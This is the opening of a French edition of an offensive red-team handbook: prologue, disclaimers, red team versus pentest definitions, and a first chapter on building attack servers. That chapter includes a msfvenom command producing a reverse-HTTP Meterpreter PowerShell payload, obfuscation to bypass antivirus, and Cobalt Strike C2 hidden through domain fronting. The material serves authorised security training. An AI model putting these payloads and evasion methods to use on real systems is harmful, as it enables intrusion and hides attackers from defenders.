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Prologue
Voici la troisième itération de cette série de livres1. Vous y trouverez notamment un examen approfondi quant à la façon de mettre en place un environnement de laboratoire (appelé labo dans tout ce qui suit, quoi que certains disent aussi lab) dans lequel tester vos attaques, ainsi que les conseils et les astuces les plus récents sur les tests d’intrusion. Enfin, j’ai essayé de rendre cette version plus facile à suivre car de nombreuses écoles ont intégré mes livres dans leurs programmes. Chaque fois que c’est possible, j’ai ajouté des sections de laboratoire permettant de tester une vulnérabilité ou une exploitation.
Je me suis efforcé de garder les choses aussi réalistes, ou « monde réel », que possible. J’essaie aussi d’éviter les attaques théoriques et de me concentrer sur ce que j’ai rencontré dans mon expérience personnelle et sur ce qui a réellement fonctionné. Je pense qu’il y a eu un changement majeur dans le passage des testeurs d’intrusion aux Red Teamers, et je veux vous montrer plutôt que de simplement vous dire pourquoi il en est ainsi. Ma passion est d’enseigner et de mettre les autres au défi. Ainsi, mon objectif à travers ce livre est double : premièrement, je veux que vous vous placiez dans la mentalité d’un agresseur et que vous compreniez le « comment » des attaques ; deuxièmement, je veux que vous preniez les outils et les techniques que vous apprenez et que vous les développiez. Lire et répéter les labos n’est qu’une partie de la question – la principale leçon que j’enseigne à mes étudiants est de laisser parler le travail au nom du talent. Au lieu de travailler sur votre CV (bien sûr, vous devriez avoir un CV), j’ai vraiment le sentiment que le fait d’avoir un blog public GitHub dépôt/technique de qualité en dit bien plus long sur les compétences en matière de sécurité qu’un CV, même bon. Que vous viviez dans le monde bleu défensif ou rouge offensif, il est impératif de vous impliquer et de partager avec notre communauté dédiée à la sécurité.
J’ai plus de 12 ans d’expérience dans le domaine des tests d’intrusion/red teaming pour de grandes institutions financières, de grandes sociétés de services, des entreprises présentes dans le classement Fortune 500 et des organismes gouvernementaux. J’ai également passé des années à enseigner la sécurité réseau offensive dans des universités, à donner des conférences sur la sécurité, à être cité dans de nombreuses publications spécialisées, à donner des cours partout aux USA, à organiser de nombreux concours publics CTF (Capture The Flag) et j’ai fondé ma propre école de sécurité. L’un de mes grands projets a été la création d’une communauté de sécurité gratuite et ouverte en Californie du Sud appelée LETHAL (meetup.com/lethal). Avec plus de 800 membres, des réunions mensuelles, des compétitions, et plus encore, c’est devenu un environnement étonnant et passionnant où les gens peuvent partager, apprendre et grandir.
Une remarque importante est que j’utilise aussi bien des outils commerciaux que des outils open source. Pour chaque outil commercial discuté, j’essaie de fournir un équivalent open source. Je rencontre occasionnellement des pentesters qui prétendent n’utiliser que des outils open source. En tant que testeur d’intrusion, je trouve cette affirmation difficile à accepter. Si vous êtes supposé imiter une attaque du « monde réel », n’oubliez pas que les « méchants » n’ont pas ces restrictions. Par conséquent, vous devez utiliser n’importe quel outil (commercial ou open source) qui vous permettra de faire le travail.
On me demande souvent à qui s’adresse ce livre. Il est vraiment difficile de répondre à cette question, car je crois vraiment que n’importe qui dans le domaine de la sécurité peut apprendre. Certaines parties de ce livre sont peut-être trop avancées pour les lecteurs débutants, d’autres sont trop faciles pour les hackers avancés, et d’autres encore ne correspondent peut-être même pas à votre domaine de sécurité.
Certains, notamment les débutants, ont tendance à tirer le meilleur parti des livres après les avoir lus pour la deuxième ou la troisième fois (en laissant suffisamment de temps entre les lectures). Il y a bien sûr beaucoup de travail qui vous est demandé tout au long de ce livre, et il faut évidemment du temps pour tout absorber. Donc, je vous dirais de vous détendre, de bien lire, de passer en revue les labos et les exemples, de construire votre propre labo (ou lab si vous préférez), de pousser vos scripts/codes vers un dépôt public GitHub, et de lancer un blog.
Enfin, être membre d’une Red Team, c’est à moitié une question de technique et pour l’autre moitié de confiance. Bon nombre des exercices d’ingénierie sociale exigent que vous surmontiez votre nervosité et que vous sortiez de votre zone de confort. David Letterman l’a dit : « Prétendre ne pas avoir peur, c’est aussi bien que de ne pas avoir peur ». Même si cela doit être pris avec un certain recul, il suffit parfois d’avoir confiance, de se lancer et de ne pas regarder en arrière.
Notes et avis de non-responsabilité
Je ne le répéterai jamais assez : n’allez pas à la recherche de serveurs vulnérables et d’exploits sur des systèmes que vous ne possédez pas sans une approbation claire, nette et précise. Encore une fois, n’essayez pas de lancer une des attaques de ce livre sans une approbation claire, nette et précise. Même s’il s’agit d’une question de curiosité sans intention malveillante, vous pouvez tout de même vous attirer beaucoup d’ennuis pour ces actions. Il existe de nombreux programmes de bug bounty (primes de bogues) et de sites/VM vulnérables qui permettent d’apprendre afin de pouvoir continuer à progresser. Même pour certains programmes de bug bounty, aller trop loin peut vous attirer des ennuis. En voici quelques exemples :
	https://bit.ly/2NFvg9C

	https://bit.ly/23WDlWh

	https://bit.ly/32gmAd7


Si vous pensez que c’est mal, c’est probablement mal. La frontière entre la recherche et les activités illégales est ténue !
Rappelez-vous : testez UNIQUEMENT les systèmes pour lesquels vous avez une autorisation écrite. Il suffit d’une petite recherche sur Google pour trouver beaucoup d’exemples différents dans lesquels de jeunes adolescents ont été condamnés à des années de prison pour ce qu’ils pensaient être un « moment amusant ». Il existe de nombreuses plateformes gratuites où le piratage légal est autorisé pour vous aider à poursuivre vos études et à progresser.
Enfin, je ne suis pas un expert de Windows, de codage, de développement d’exploits, de Linux, ou en fait de quoi que ce soit d’autre. Si je me suis mal exprimé au sujet d’une technologie, d’un outil ou d’un processus spécifiques, je mettrai à jour ma page Web pour rectifier tout ce qui est signalé comme incorrect :
thehackerplaybook.com/updates

De plus, une grande partie de mon livre s’appuie sur les recherches menées par d’autres personnes dans ce domaine, et j’essaie de fournir des liens vers leurs travaux chaque fois que c’est possible. Encore une fois, si l’un d’entre eux manque, je mettrai à jour la page Web indiquée ci-dessus. Nous avons une communauté impressionnante, et je veux m’assurer que tout le monde soit reconnu pour son excellent travail !


1. Note de l’éditeur : le titre original de la série est The Hacker Playbook. Les deux précédents ouvrages ne sont pas traduits en français. Mais ce n’est pas un problème, car cette édition « Red Team » est de loin la plus élaborée et la plus récente. Si vous voulez aller au-delà, voyez également le site de l’auteur, à l’adresse : https://securepla.net/hacker-playbook/.

Introduction
Commençons par présenter votre mission, du moins si vous l’acceptez. Notre cible, les Cyber Kittens. Ils sont de retour avec leur toute nouvelle division spatiale appelée Cyber Space Kittens (CSK). Cette nouvelle division a tiré toutes les leçons des évaluations antérieures de sécurité pour renforcer ses systèmes, mettre en place un centre local d’opérations de sécurité et même créer des politiques de sécurité. Vous êtes engagé pour voir si tous ces contrôles de sécurité ont amélioré leur comportement général.
D’après les petits détails que nous avons recueillis, il semble que Cyber Space Kittens ait découvert une planète secrète située dans la grande nébuleuse d’Andromède ou la galaxie d’Andromède. Cette planète, située sur l’un des deux bras en spirale, est appelée KITT-3n. KITT-3n, dont la taille est le double de celle de la Terre, réside dans le système binaire appelé OI 31337 avec une étoile deux fois plus grande que celle de la Terre. Cela crée un environnement potentiellement habitable avec des océans, des lacs, des plantes, et peut-être même la vie...
Avec l’espoir d’une nouvelle vie, de l’eau et d’une autre planète viable, la course spatiale est une réalité. CSK nous a engagés pour effectuer une évaluation Red Team afin de s’assurer qu’ils sont en sécurité et capables de détecter et de stopper une faille. Leur direction a vu et entendu parler de toutes les infractions majeures de l’année dernière et veut embaucher seulement les meilleures équipes. C’est ici que vous intervenez...
Votre mission, si donc vous l’acceptez, consiste à trouver toutes les vulnérabilités externes et internes, à utiliser les exploits les plus récents, à utiliser les vulnérabilités en chaîne et à voir si leurs équipes défensives peuvent vous détecter ou vous arrêter.
Quels types de tactiques, de menaces et de procédures allez-vous devoir employer ? Dans cette campagne, il va vous falloir faire une tonne de reconnaissances et de découvertes, rechercher les faiblesses de leur infrastructure externe, pratiquer l’ingénierie sociale, l’élévation de privilèges, obtenir des informations réseau internes, vous déplacer latéralement dans le réseau, et finalement exfiltrer les systèmes et les bases de données KITT-3n.
Équipes de tests d’intrusion versus Red Teams
Avant de nous plonger dans les idées techniques derrière la notion d’équipe rouge, j’ai besoin de clarifier mes définitions à propos de la différence entre test d’intrusion et Red Team. Ces expressions se rencontrent souvent et peuvent engendrer un peu de confusion. Pour que les choses soient claires dans ce livre, il convient d’expliciter la manière dont je vais utiliser ces deux termes.
Le test d’intrusion est la manière la plus rigoureuse et la plus méthodique de tester un réseau, une application, un matériel, etc. Si ce n’est déjà fait, je vous recommande de lire la documentation concernant le standard d’exécution des tests d’intrusion (ou PTES, pour Penetration Testing Execution Standard, http://www.pentest-standard.org/) – c’est une excellente façon de savoir comment effectuer une évaluation.
Dans un test réseau traditionnel, nous recherchons généralement les vulnérabilités, nous trouvons et nous tirons profit d’un système ou d’une application exploitable, nous faisons peut-être un peu de postexploitation, nous trouvons un administrateur de domaine et nous rédigeons un rapport. Ces types de tests créent une matrice de vulnérabilités, de problèmes de correctifs et de résultats très exploitables. Même lors de la définition du périmètre d’intervention, les tests d’intrusion sont très bien définis, limités à une ou deux semaines d’évaluation, et sont généralement annoncés aux équipes chargées de la sécurité interne de l’entreprise. Les entreprises ont encore besoin de testeurs d’intrusion dans le cadre de leur cycle de vie de développement logiciel sécurisé (S-SDLC, Secure Software Development Life Cycle1).
De nos jours, même si les entreprises ont des programmes de gestion des vulnérabilités, des programmes S-SDLC, des testeurs d’intrusion, des équipes/programmes d’intervention en cas d’incident et de nombreux outils de sécurité très coûteux, elles sont toujours exposées aux compromissions. Si nous examinons les violations récentes (https://bit.ly/2LH6IKU), nous constatons qu’un grand nombre d’entre elles sont survenues dans de très grandes entreprises bien établies. Nous avons vu dans d’autres rapports de sécurité que certaines compromissions auraient pu durer plus de 6 mois avant d’être détectées (https://bit.ly/2LJ4omz). Certains rapports indiquent également que près d’un tiers de toutes les entreprises américaines ont été piratées en 2017 (https://bit.ly/2lrm9rP). Les questions que je veux que les entreprises se posent sont les suivantes : si ces mêmes sales types ou les mêmes acteurs s’en sont pris à votre entreprise avec exactement les mêmes tactiques, pourriez-vous les détecter, combien de temps cela prendrait-il, pourriez-vous vous en remettre, et pourriez-vous comprendre exactement ce qu’ils ont fait ?
C’est là que notre Red Team entre en jeu. Sa mission est d’imiter les tactiques, les techniques et les procédures (TTP) des adversaires. Les objectifs sont de donner des faits réels et concrets sur la façon dont une entreprise va réagir, de trouver des failles dans un programme de sécurité, d’identifier les lacunes au niveau des compétences des employés et, en fin de compte, d’améliorer leur comportement en matière de sécurité.
La démarche d’une Red Team n’est pas aussi méthodique que pour les tests d’intrusion. Puisque nous simulons des événements du monde réel, chaque test peut différer de façon significative. Certaines campagnes peuvent se concentrer sur l’obtention d’informations personnelles identifiables (PII) ou de listes de cartes de crédit, tandis que d’autres ont pour but de prendre le contrôle d’un domaine en tant qu’administrateur. En parlant d’administration de domaine, c’est là que je vois une énorme différence entre les tests de pénétration et les campagnes Red Team. Pour les tests d’intrusion dans un réseau, nous adorons nous transformer en administrateur de domaine pour avoir accès au contrôleur de domaine (DC) et nous arrêter là. Pour les campagnes Red Team, en fonction des objectifs poursuivis, nous pouvons ignorer complètement le DC. Cela s’explique en partie par le fait que nous voyons de nombreuses entreprises entourer leur contrôleur de domaine d’énormément de protections.
Ils peuvent avoir des listes blanches d’applications, une surveillance de l’intégrité, beaucoup de règles IDS2/IPS3/HIPS4, et plus encore. Puisque notre mission n’est pas de nous faire prendre, nous devons rester discrets. Une autre règle que nous suivons est que nous n’effectuons presque jamais d’analyse de vulnérabilité sur le réseau interne. Combien d’adversaires avez-vous vus commencer à effectuer des analyses de vulnérabilité complètes une fois dans un environnement compromis ? C’est extrêmement rare. Pourquoi ? Parce que ces scans sont très « bruyants » sur le réseau, et qu’ils seront très probablement repérés dans le monde actuel.
Une autre différence majeure est liée à la durée. Avec les tests d’intrusion, nous avons de la chance si nous disposons de deux semaines, à défaut d’une seule. En revanche, les équipes rouges doivent construire des campagnes qui durent de 2 semaines à 6 mois. Cela vient du fait que nous avons besoin de simuler des attaques réelles, d’utiliser l’ingénierie sociale, des balises, et ainsi de suite. Enfin, la plus grande différence concerne les résultats produits par les deux types d’équipes. Au lieu d’une liste de vulnérabilités, les conclusions d’une Red Team doivent être davantage axées sur les lacunes des processus, des politiques, des outils et des compétences de la Blue Team. Dans votre rapport final, il se peut que vous ayez certaines constatations sur la vulnérabilité qui ont été utilisées pour la campagne, mais la plupart d’entre elles concerneront des lacunes dans le programme de sécurité. Rappelez-vous que les conclusions du rapport devraient servir principalement au programme de sécurité, et non au service informatique.
Avec les Red Teams, nous devons redonner de la valeur à l’entreprise. Il ne s’agit pas du nombre total de vulnérabilités ou du niveau critique des vulnérabilités individuelles : il s’agit de prouver comment le programme de sécurité fonctionne. Le but de la Red Team est de simuler des événements réels dont nous pouvons assurer le suivi. Deux métriques fortes qui se dégagent de ces campagnes sont le délai de détection (TTD, Time To Detect) et le délai d’atténuation (TTM, Time To Mitigate). Ce ne sont pas des concepts nouveaux, mais ils sont toujours précieux pour les équipes rouges.
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La notion de TTD désigne le temps qui s’écoule entre la survenue initiale de l’incident et le moment où un analyste détecte celui-ci et commence à y travailler. Supposons que vous avez un email d’ingénierie sociale et que l’utilisateur exécute un malware sur son système. Même si leur antivirus, leur système de sécurité basé sur l’hôte ou leurs outils de surveillance peuvent se déclencher, l’heure enregistrée est celle à laquelle l’analyste crée ce premier ticket.
TTM représente la seconde mesure temporelle à enregistrer. Elle est déclenchée lorsque le blocage du pare-feu, le DNS sinkhole5 ou l’isolation du réseau sont mis en œuvre. L’autre information précieuse à consigner est la façon dont les équipes de sécurité travaillent avec le service informatique, comment la direction gère un incident critique, et si les employés paniquent. Avec toutes ces données, nous pouvons produire des chiffres réels sur le niveau de risque de votre entreprise, ou sur la probabilité pour qu’elle soit compromise.

En résumé
Le grand point sur lequel je veux insister, c’est que les gestionnaires doivent sortir de cette mentalité qui consiste à se fier aux chiffres provenant d’audits. Nous avons tous des raisons de nous y conformer, et cela peut certainement nous aider à faire mûrir nos programmes, mais n’offre pas toujours une sécurité globale réelle pour une entreprise. En tant que Red Teamers, notre travail consiste justement à vérifier si le programme de sécurité global fonctionne.
En lisant ce livre, je veux que vous vous mettiez dans l’état d’esprit de la Red Team et que vous vous concentriez sur ce qui suit :
	les vulnérabilités en termes de sécurité et non en termes de service informatique ;

	simuler des événements du monde réel ;

	vivre dans un monde d’infections constantes par l’équipe rouge.


Mettez le système à l’épreuve... Fournissez des données réelles pour prouver les failles de sécurité.


1.  Voir par exemple : https://bit.ly/2NGzzBJ.
2.  Système de détection d’intrusion. Voir par exemple : https://bit.ly/2XyinTf.
3.  Système de prévention d’intrusion. Voir par exemple : https://bit.ly/2LJnhFO.
4.  Système de détection d’intrusion au niveau de l’hôte.
5.  Voir par exemple : https://en.wikipedia.org/wiki/DNS_sinkhole.


Chapitre 1
Avant le match - Préparer le terrain
En tant que Red Team (équipe rouge), nous ne nous soucions pas vraiment des origines d’une attaque. Ce que nous voulons, c’est apprendre des TTP (Tactiques, Techniques et Procédures). Par exemple, en examinant des sources publiques, nous avons trouvé un rapport détaillé de FireEye sur une attaque qu’ils ont analysée :
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf

En examinant leur analyse, nous pouvons voir que les TTP des logiciels malveillants ont utilisé Twitter dans le cadre d’un Command and Control (C2), des images avec clés de cryptage, GitHub, et la stéganographie1. C’est là que nous devrions construire une campagne similaire pour voir si votre entreprise pouvait détecter cette attaque.
La matrice ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) de MITRE fournit une ventilation détaillée des attaques APT pour différents OS. Il s’agit d’une grande collection de différents TTP couramment utilisés avec toutes sortes d’attaques (voir le Tableau 1.12).
Une autre ressource est une liste en cours de constitution intitulée APT Groups and Operations de @cyb3rops. Ce document au format tableur de Google (http://bit.ly/2GZb8eW) décompose les différents groupes APT suspectés et leurs jeux d’outils (voir la Figure 1.1). C’est une liste utile pour nous en tant que Red Teamers pour simuler différentes attaques. Bien sûr, nous n’utiliserons peut-être pas les mêmes outils que ceux qui sont documentés dans les rapports, mais nous pouvons construire des outils similaires qui feront la même chose.
TABLEAU 1.1 : La matrice Entreprise ATT&CK de Mitre (extrait).

[image: TABLEAU 1.1 : La matrice Entreprise ATT&CK de Mitre (extrait).]
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FIGURE 1.1 : APT Groups and Operations (extrait).
Exercices d’intrusion présumée
Les entreprises doivent vivre dans un monde où elles partent du principe qu’elles ont déjà été violées. De nos jours, trop d’entreprises supposent qu’en raison d’une certaine case à cocher ou d’un test annuel d’intrusion, elles sont en sécurité. Nous devons nous mettre dans un état d’esprit où nous sommes toujours en train de chasser, en supposant que le mal rôde autour de nous et en recherchant ces anomalies.
C’est là que les campagnes de la Red Team diffèrent fortement des tests d’intrusion (ou de pénétration). Puisque ces campagnes se concentrent sur la détection et la mitigation (l’atténuation) plutôt que sur les vulnérabilités, nous pouvons faire des évaluations plus spécifiques. Une évaluation qui procure aux clients des avantages immenses est appelée un exercice d’intrusion présumée. Dans un tel exercice, le concept est qu’il y aura toujours un « jour zéro » (0-day3). Et donc, le client peut-il identifier et atténuer les étapes secondaires et tertiaires ?
Dans ces scénarios, les Red Teams travaillent avec un groupe limité de personnes au sein de l’entreprise pour obtenir une seule charge utile de malware personnalisée à exécuter sur leur serveur. Cette charge utile devrait essayer de se connecter de multiples façons, s’assurer de contourner l’antivirus actif, et permettre l’exécution de charges utiles supplémentaires à partir de la mémoire. Nous retrouverons des exemples de charges utiles tout au long du livre. Une fois que la charge utile initiale est exécutée, c’est là que tout le plaisir débute !

Mettre en place votre campagne
C’est l’une de mes parties préférées du travail avec les missions Red Team. Avant de compromettre votre premier système, vous devez définir la portée de la campagne de votre Red Team. Dans beaucoup de tests d’intrusion, on vous donne une cible et vous essayez continuellement d’entrer par effraction dans ce système unique. Si quelque chose échoue, vous passez à la suivante. Il n’y a pas de script, et vous êtes généralement assez concentré sur ce réseau.
Dans les campagnes Red Team, nous partons de quelques objectifs. Ces objectifs peuvent inclure les points suivants, sans s’y limiter :
	Quels sont les objectifs finaux ? S’agit-il seulement d’une détection APT4 ? Est-ce pour « planter » un drapeau sur un serveur ? Est-ce pour obtenir des données à partir d’une base de données ? Ou s’agit-il simplement d’obtenir des métriques TTD (Time To Detect, soit « temps de détection ») ?

	Y a-t-il une campagne publique que nous voulons copier ?

	Quelles techniques allez-vous utiliser ? Nous avons parlé de l’utilisation de la matrice MITRE ATT&CK, mais quelles sont les techniques exactes dans chaque catégorie ?
	L’équipe de Red Canary a fourni des informations détaillées sur chacune de ces techniques. Je vous recommande fortement de prendre le temps de les lire toutes : http://bit.ly/2N1yqQx.



	Quels outils le client veut-il que vous utilisiez ? S’agira-t-il d’outils offensifs standard comme Metasploit, Cobalt Strike, DNS Cat ? Ou bien d’outils sur mesure ?


Le meilleur, c’est que se faire prendre fait partie de l’évaluation. Il y a des campagnes où on se fait prendre 4 ou 5 fois, et où on doit « brûler » 4 ou 5 environnements différents. Cela montre vraiment à votre client que ses défenses fonctionnent (ou ne fonctionnent pas) en fonction des résultats qu’il attendait. À la fin du livre, je donnerai quelques exemples de rapports sur la façon dont nous capturons les métriques et dont nous présentons ces données.

Configurer vos serveurs externes
Il existe de nombreux services différents que nous utilisons pour construire nos campagnes. Dans le monde d’aujourd’hui, avec l’abondance de serveurs privés virtuels (VPS), le fait d’installer vos machines d’attaque sur Internet n’affolera pas votre budget. Par exemple, j’utilise couramment des serveurs Digital Ocean Droplets (https://www.digitalocean.com/products/compute) ou les services Amazon Lightsail (https://aws.amazon.com/fr/lightsail/ ou https://lightsail.aws.amazon.com si vous disposez déjà d’un compte AWS – Amazon Web Services – ou que vous voulez en créer un) pour configurer mes serveurs VPS. Les raisons pour lesquelles j’utilise ces services sont qu’ils sont généralement très peu coûteux (parfois gratuits), qu’ils permettent d’utiliser des serveurs Ubuntu, qu’ils permettent de configurer des serveurs dans toutes sortes de régions et, surtout, qu’ils sont très faciles à installer. En quelques minutes, vous pouvez configurer de multiples serveurs et exécuter les services Metasploit et Empire.
Dans ce livre, je vais me concentrer sur les serveurs AWS Lightsail, en raison de la facilité d’installation, de la capacité à automatiser les services, et la quantité de trafic se dirigeant normalement vers AWS. Une fois que vous avez entièrement créé une image qui vous convient, vous pouvez rapidement la cloner sur plusieurs serveurs, ce qui rend extrêmement facile la création de boîtes Command and Control (C2) prêtes à l’emploi.
À nouveau, vous devez vous assurer de respecter les conditions de service imposées par le fournisseur de VPS (en l’occurrence, voyez ce que dit l’adresse https://aws. amazon.com/service-terms/) afin de ne pas rencontrer de problèmes (la dernière version en français en date de ces conditions de service est un document de près d’une centaine de pages).
	https://lightsail.aws.amazon.com/

	Créez une instance :
	Je recommande fortement d’obtenir au moins 1 Go de RAM.

	L’espace de stockage n’est généralement pas un problème.



	Linux/Unix

	OS uniquement -> Ubuntu

	Télécharger Cert

	chmod 600 cert

	ssh -i cert ubuntu@[ip]


Une fois connecté à votre serveur, vous devez installer tous les outils de manière aussi efficace et répétable que possible. C’est ici que je vous recommande de développer vos propres scripts pour mettre en place des choses telles que des règles IPTables, des certificats SSL, des outils, des scripts, et ainsi de suite. Un moyen rapide de construire vos serveurs consiste à intégrer The PenTesters Framework (PTF) de TrustedSec. Cette collection de scripts (https://github.com/trustedsec/ptf) fait un tas de difficile travail à votre place, et il crée un framework pour tout le reste. Prenons un exemple rapide d’installation de tous nos outils d’exploitation, de collecte d’informations, de postexploitation, de PowerShell, et d’analyse de vulnérabilité :
	sudo su -

	apt-get update

	apt-get install python

	git clone https://github.com/trustedsec/ptf opt/ptf

	cd /opt/ptf && ./ptf

	use modules/exploitation/install_update_all

	use modules/intelligence-gathering/install_update_all

	use modules/post-exploitation/install_update_all

	use modules/powershell/install_update_update_all

	use modules/vulnerability-analysis/install_update_all

	cd /pentest


La Figure 1.2 montre les différents modules disponibles, dont certains ont été installés par nos soins.
[image: FIGURE 1.2 : Liste de tous les modules disponibles.]
FIGURE 1.2 : Liste de tous les modules disponibles.
Si nous jetons un coup d’œil à notre VPS attaquant, nous pouvons voir tous les outils installés sur notre boîte (voir la Figure 1.3). Si nous voulions démarrer Metasploit, nous pourrions simplement taper : msfconsole.
[image: FIGURE 1.3 : Tous les outils installés sous /pentest.]
FIGURE 1.3 : Tous les outils installés sous /pentest.
Une chose que je recommande toujours, c’est de mettre en place des règles IPTables solides. Comme il va s’agir de votre serveur attaquant, vous voudrez limiter l’origine des authentifications SSH, celle des charges utiles Empire/Meterpreter/Cobalt Strike, ainsi que celle des pages de phishing que vous utiliserez.
Peut-être vous souvenez-vous qu’en 2016, quelqu’un avait trouvé une exécution de code distant (Remote Code Exécution – RCE) sur le serveur Cobalt Strike (https://bit.ly/2MxyGKU). Vous ne voulez certainement pas que vos serveurs d’attaque soient compromis avec les données de vos clients.
J’ai aussi vu certaines Red Teams exécuter Kali Linux (ou au moins Metasploit) dans Docker au sein d’AWS (http://bit.ly/2qz2vN9). De mon point de vue, il n’y a pas de mauvaise façon de créer vos systèmes. Ce que vous voulez, c’est produire un processus efficace et reproductible pour déployer de multiples machines. La meilleure partie de l’utilisation de Lightsail est qu’une fois votre machine configurée en fonction de vos préférences, vous pouvez en prendre un cliché, et mettre en place plusieurs instances toutes nouvelles de cette image.
Si vous voulez faire passer votre environnement à un niveau supérieur, jetez un coup d’œil sur le travail de l’équipe de Coalfire-Research. Ils ont construit des modules personnalisés pour faire tout le travail le plus dur et l’automatiser pour vous. Red Baron est un ensemble de modules et de fournisseurs personnalisés/tiers pour Terraform, qui tente d’automatiser la création d’une infrastructure résiliente, jetable, sûre et agile pour les Red Teams (https://github.com/Coalfire-Research/Red-Baron). Que vous souhaitiez construire un serveur de phishing, une infrastructure Cobalt Strike ou créer un serveur DNS C2, vous pouvez tout faire avec Terraform. Consultez le site GitHub de Red Baron et découvrez les différents modules disponibles pour construire rapidement votre propre infrastructure.

Outils du commerce
Il existe une myriade d’outils qu’une Red Team pourrait utiliser, mais intéressons-nous à certaines des ressources de base. Rappelez-vous qu’en tant que Red Teamer, le but n’est pas de compromettre un environnement (ce qui est certes le plus amusant), mais de reproduire des attaques du monde réel pour voir si un client est protégé et est capable de détecter des attaques dans un délai très court. Passons donc en revue certains des outils Red Team les plus courants.
Metasploit
Nous n’allons pas nous plonger trop profondément dans Metasploit. Retenons cependant que Metasploit Framework est toujours un outil de référence, même s’il a été développé en 2003. Cela est dû à la fois au créateur original, H.D. Moore, et à la communauté très active qui le supporte. Ce framework piloté par la communauté (https://github.com/rapid7/metasploit-framework/commits/master), qui semble être mis à jour quotidiennement, contient tous les derniers exploits publics, des modules de postexploitation, des modules auxiliaires, et plus encore.
Dans le cadre des missions Red Team, nous pouvons utiliser Metasploit pour compromettre des systèmes internes avec le MS17-010 Eternal Blue Exploit (http://bit.ly/2H2PTsI) pour obtenir notre premier shell, ou encore nous servir de Metasploit pour générer une charge utile Meterpreter pour notre attaque en ingénierie sociale.

Offuscation de charges utiles Meterpreter
Si nous effectuons une attaque d’ingénierie sociale, nous pourrions vouloir utiliser un document Word ou Excel comme mécanisme de livraison. Cependant, un problème potentiel est que nous pourrions ne pas être en mesure d’inclure un binaire de charge utile Meterpreter ou de le télécharger à partir du Web, car cela pourrait déclencher une réaction de l’antivirus. En outre, une solution simple consiste à effectuer une offuscation à l’aide de PowerShell :
msfvenom --payload windows/x64/meterpreter_reverse_http --format psh --out meterpreter-64.ps1 LHOST=127.0.0.1

Nous pouvons même passer à un niveau supérieur et utiliser des outils comme Unicorn (https://github.com/trustedsec/unicorn) pour générer des charges utiles PowerShell Meterpreter plus obscurcies, que nous aborderons plus en détail au fil du livre (voir la Figure 1.4).
[image: FIGURE 1.4 : Utiliser Unicorn.]
FIGURE 1.4 : Utiliser Unicorn.
De plus, l’utilisation de certificats SSL/TLS signés par une autorité de confiance pourrait nous aider à contourner certains outils de détection d’intrusion (ou IDS, pour Intrusion Detection System) :
https://github.com/rapid7/metasploit-framework/wiki/Meterpreter-Paranoid-Mode

Enfin, nous verrons plus loin comment recompiler Metasploit/Meterpreter à partir de zéro pour échapper aux outils de détection basés sur l’hôte et sur le réseau.

Cobalt Strike
Cobalt Strike est de loin l’un de mes outils de simulation Red Team préférés. Qu’est-ce que Cobalt Strike ? C’est un outil pour la postexploitation, le mouvement latéral, le camouflage dans le réseau, et l’exfiltration. Cobalt Strike n’a pas vraiment d’exploits et n’est pas utilisé pour compromettre un système via la vulnérabilité 0-day la plus récente. Ses fonctions et ses pouvoirs étendus se manifestent de manière extensive lorsque le code est déjà exécuté sur un serveur ou lorsqu’il est utilisé dans le cadre d’une charge utile pour une campagne d’hameçonnage. Une fois que vous pouvez exécuter une charge utile Cobalt Strike, elle crée une connexion Beacon vers le serveur de commande et de contrôle.
Les nouvelles licences Cobalt Strike coûtent 3 500 $ par utilisateur pour une licence d’un an. Ce n’est donc pas un outil bon marché à utiliser. Mais une version d’essai limitée gratuite est disponible.
Infrastructure Cobalt Strike
Comme nous l’avons mentionné précédemment, en matière d’infrastructure, nous voulons mettre en place un environnement réutilisable et hautement souple. Cobalt Strike supporte les redirecteurs de sorte que si votre domaine C2 est grillé, vous n’avez pas besoin de créer un nouvel environnement, seulement un nouveau domaine (voir la Figure 1.5). Vous trouverez plus d’informations sur l’utilisation de socat pour configurer ces redirecteurs aux adresses suivantes : http://bit.ly/2qxCbCZ et http://bit.ly/2IUc4Oe.
[image:  FIGURE 1.5 : Schéma de redirection.]

FIGURE 1.5 : Schéma de redirection.
Pour élever le niveau de vos redirecteurs, nous utilisons Domain Fronting. Domain Fronting est une collection de techniques permettant d’utiliser les domaines et infrastructures d’autres personnes comme redirecteurs pour votre contrôleur (http://bit.ly/2GYw55A). Cela peut être réalisé en utilisant des réseaux de diffusion de contenu (ou CDN, pour Content Delivery Network) populaires tels que CloudFront d’Amazon ou d’autres hôtes Google pour masquer les origines du trafic. Il a été utilisé dans le passé par différents adversaires (http://bit.ly/2HoCRFi).
En utilisant de tels domaines ayant une haute réputation, tout trafic, qu’il soit HTTP ou HTTPS, aura l’air de communiquer vers ces domaines au lieu de nos serveurs malveillants de commande et de contrôle. Comment tout cela fonctionne-t-il ? En utilisant un exemple de très haut niveau, tout votre trafic sera envoyé vers l’un des principaux noms de domaine pleinement qualifiés (ou FQDN, pour Fully Qualified Domain Name) pour CloudFront, comme a0.awsstatic.com, qui est le domaine primaire de CloudFront. Modifier l’en-tête de l’hôte dans la requête redirigera tout le trafic vers notre distribution CloudFront, qui redirigera finalement le trafic vers notre serveur Cobalt Strike C2 (http://bit.ly/2GYw55A). La Figure 1.6 illustre ce schéma.
[image: FIGURE 1.6 : Schéma de redirection du trafic.]
FIGURE 1.6 : Schéma de redirection du trafic.
En changeant l’en-tête HTTP Host, le CDN nous redirigera joyeusement vers le bon serveur. Les Red Teams se sont servies de cette technique pour cacher le trafic C2 en utilisant des redirecteurs de haute réputation.
Voici d’autres importantes ressources sur différents produits qui supportent Domain Fronting :
	CyberArk a également écrit un excellent blog sur la façon d’utiliser les produits Google App pour qu’ils donnent l’impression que votre trafic se déroule sur www.google.com, mail.google.com, ou docs.google.com. Voyez l’adresse suivante : http://bit.ly/2Hn7RW4.

	Vincent Yiu a écrit un article sur la façon d’utiliser Alibaba pour supporter ses attaques de Domain Fronting : http://bit.ly/2HjM3eH.

	Cobalt Strike n’est pas le seul outil qui peut prendre en charge le Domain Fronting. Cela peut également être réalisé avec Meterpreter :
	https://bitrot.sh/post/30-11-2017-domain-fronting-with-meterpreter/.




Note : au moment de la publication de ce livre, AWS (et même Google) ont commencé à mettre en place des protections contre le Domain Fronting (https://amzn.to/2I6lSry). Cela n’arrête pas ce type d’attaque, mais nécessiterait des ressources tierces différentes pour y parvenir.
